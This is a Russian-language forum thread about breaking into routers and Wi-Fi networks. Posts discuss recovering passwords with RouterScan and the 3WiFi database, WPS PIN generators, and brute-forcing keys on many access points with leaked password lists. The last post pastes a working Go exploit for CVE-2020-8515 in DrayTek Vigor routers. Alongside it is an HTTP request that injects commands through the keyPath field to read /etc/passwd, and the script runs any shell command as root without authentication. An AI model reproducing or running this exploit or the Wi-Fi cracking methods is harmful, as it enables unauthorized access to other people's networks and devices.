и я хочу инвайт, тут только загорелся изучением уязвимости моего роутера, чёт как-то не успел в полной мере поюзать программку
привет! забыл пароль к своей железке и прога ранее показывала пароль а сейчас нет. Роутер вроде тот же был. Сейчас подключен роутер по лану модель ниже QBR-1041WN router TTK Порты скана 80,8080,1080,443,161,53 Может еще какой то порт не указал?
Возможно было обновление прошивки, но причин может быть куча. И что мешает сбросить до заводских настроек и юзать уже тот пароль который придумаешь (пока опять не забудеш) 80, 8080 и 443 вполне достаточно для поиска веб-админки (если не изменял ни чего в настройках), а так: чем больше портов - тем больше времени уйдет на скан
Почему у меня при генерации 3wifi WPS PIN пишет все время «устройства и/или подходящие алгоритмы не найдены» Пробывал на разных 30 точках доступа, но ничего так и не выдало. Помогите разобраться в этом))
Это связано с тем, что гостевая учетка на 3WiFi закрыта, поэтому RS не может обратиться к генератору WPS пин. Нужно сказать спасибо, одному ( или нескольким ) уроду, который пытался спарсить базу 3WiFi. Поэтому гостевую отключили. PS. у кого есть аккаунт на 3WiFi, таких сложностей нет.
Для примера, скинул-бы один МАС адрес. 04:A1:51:**:**:** А то ведь так не скажешь, не зная какого плана МАС адрес.
Это Tenda, к ним нет генератора WPS пин. Можешь тут проверять, какой роутер мучаешь. https://2ip.ua/ru/services/information-service/mac-find PS. тоже с Тендой мучаюсь, не растёт с пином, после 10 попыток улетает в лок.
попробуй сбрутить ключь (не пин) роутер сканом со встроеным пасслистом, не поможет, втыкай пасс лист побольше (в соседней теме стас переодически выкладывает выборку паролей с 3wifi) - довольно часто прокатывает (но не всегда)
Ещё вот есть проблемка с роутер сканом,когда я вхожу в свою учетную запись в программе,то у меня выдаёт наподобие этого «не установлена связь с 3wifi,сгенерируйте на самом сайте» хотя интернет был в порядке
1) на сайте кликнуть по своему нику 2) перейдешь Управлением пользователем (твой Ник) 3) найди API ключ ( чтение и запись) , если пусто нажми получить новый Все ( проверяешь на программе RS - не должно быть ошибок)
RCE, DrayTek Vigor, CVE-2020-8515 Code: package main /* CVE-2020-8515: DrayTek pre-auth remote root RCE Mon Mar 30 2020 - 0xsha.io Affected: DrayTek Vigor2960 1.3.1_Beta, Vigor3900 1.4.4_Beta, and Vigor300B 1.3.3_Beta, 1.4.2.1_Beta, and 1.4.4_Beta You should upgrade as soon as possible to 1.5.1 firmware or later This issue has been fixed in Vigor3900/2960/300B v1.5.1. read more : https://www.skullarmy.net/2020/01/draytek-unauthenticated-rce-in-draytek.html https://www.draytek.com/about/security-advisory/vigor3900-/-vigor2960-/-vigor300b-router-web-management-page-vulnerability-(cve-2020-8515)/ https://thehackernews.com/2020/03/draytek-network-hacking.html https://blog.netlab.360.com/two-zero-days-are-targeting-draytek-broadband-cpe-devices-en/ exploiting using keyPath POST /cgi-bin/mainfunction.cgi HTTP/1.1 Host: 1.2.3.4 Content-Length: 89 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Connection: close action=login&keyPath=%27%0A%2fbin%2fcat${IFS}%2fetc%2fpasswd%0A%27&loginUser=a&loginPwd=a */ import ( "fmt" "io/ioutil" "net/http" "net/url" "os" "strings" ) func usage() { fmt.Println("CVE-2020-8515 exploit by @0xsha ") fmt.Println("Usage : " + os.Args[0] + " URL " + "command" ) fmt.Println("E.G : " + os.Args[0] + " http://1.2.3.4 " + "\"uname -a\"" ) } func main() { if len(os.Args) < 3 { usage() os.Exit(-1) } targetUrl := os.Args[1] //cmd := "cat /etc/passwd" cmd := os.Args[2] // payload preparation vulnerableFile := "/cgi-bin/mainfunction.cgi" // specially crafted CMD // action=login&keyPath=%27%0A%2fbin%2fcat${IFS}%2fetc%2fpasswd%0A%27&loginUser=a&loginPwd=a payload :=`' /bin/sh -c 'CMD' '` payload = strings.ReplaceAll(payload,"CMD", cmd) bypass := strings.ReplaceAll(payload," ", "${IFS}") //PostForm call url encoder internally resp, err := http.PostForm(targetUrl+vulnerableFile , url.Values{"action": {"login"}, "keyPath": {bypass} , "loginUser": {"a"}, "loginPwd": {"a"} }) if err != nil{ fmt.Println("error connecting host") os.Exit(-1) } defer resp.Body.Close() body, err := ioutil.ReadAll(resp.Body) if err != nil{ fmt.Println("error reading data") os.Exit(-1) } fmt.Println(string(body)) }